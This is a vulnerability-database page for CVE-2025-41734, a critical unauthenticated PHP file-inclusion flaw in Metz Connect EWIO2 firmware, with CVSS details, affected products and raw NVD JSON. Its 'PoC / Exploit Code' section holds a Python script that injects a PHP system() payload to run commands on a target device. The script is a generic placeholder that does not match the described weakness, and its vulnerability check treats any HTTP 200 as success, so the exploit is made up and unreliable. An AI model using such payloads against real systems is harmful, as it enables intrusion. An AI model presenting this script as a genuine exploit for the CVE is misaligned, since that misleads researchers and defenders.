Security Vulnerability Report
中文
CVE-2025-41734 CVSS 9.8 CRITICAL

CVE-2025-41734

Published: 2025-11-18 11:15:47
Last Modified: 2025-11-21 19:14:59

Description

An unauthenticated remote attacker can execute arbitrary php files and gain full access of the affected devices.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:* - NOT VULNERABLE
受影响设备固件版本 < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41734 PoC - Unauthenticated Remote Code Execution # Target: Affected devices with vulnerable PHP endpoint # Note: This is a conceptual PoC for educational purposes only import requests import sys TARGET = "http://target-device:8080" CVE_ID = "CVE-2025-41734" def check_vulnerability(target): """Check if target is vulnerable""" # Attempt to execute PHP code via vulnerable parameter # Replace 'endpoint' and 'parameter' with actual vulnerable path endpoint = "/api/vulnerable_endpoint" params = { "cmd": "<?php phpinfo(); ?>" } try: response = requests.get(target + endpoint, params=params, timeout=10) if "phpinfo()" in response.text or response.status_code == 200: return True except requests.exceptions.RequestException: pass return False def exploit(target, command): """Execute arbitrary command on vulnerable target""" # Construct malicious PHP payload payload = f"<?php system('{command}'); ?>" endpoint = "/api/vulnerable_endpoint" params = {"cmd": payload} try: response = requests.get(target + endpoint, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {CVE_ID}_poc.py <target_url>") print(f"Example: python {CVE_ID}_poc.py http://192.168.1.1:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Testing {CVE_ID} on {target}") if check_vulnerability(target): print("[+] Target appears vulnerable!") print("[*] Attempting command execution...") result = exploit(target, "id") print(f"[+] Command output: {result}") else: print("[-] Target does not appear vulnerable or is not reachable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41734", "sourceIdentifier": "[email protected]", "published": "2025-11-18T11:15:46.947", "lastModified": "2025-11-21T19:14:59.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can execute arbitrary php files and gain full access of the affected devices."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "7013D45A-B3DD-4110-A0FF-D0C01B859A37"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:*", "matchCriteriaId": "892DDE15-8FE1-4D57-BCB6-5DFAC1F6826C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "05FE24BB-6605-444F-ACFF-D2FD2B70C05E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A515C34-A698-47EF-B542-EAA491AE6CBA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "DD9B7323-4C67-4DAC-905F-DDE5D6BD9D80"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7E4CCBC-35EE-4683-A039-55ABEE27E809"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-097", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}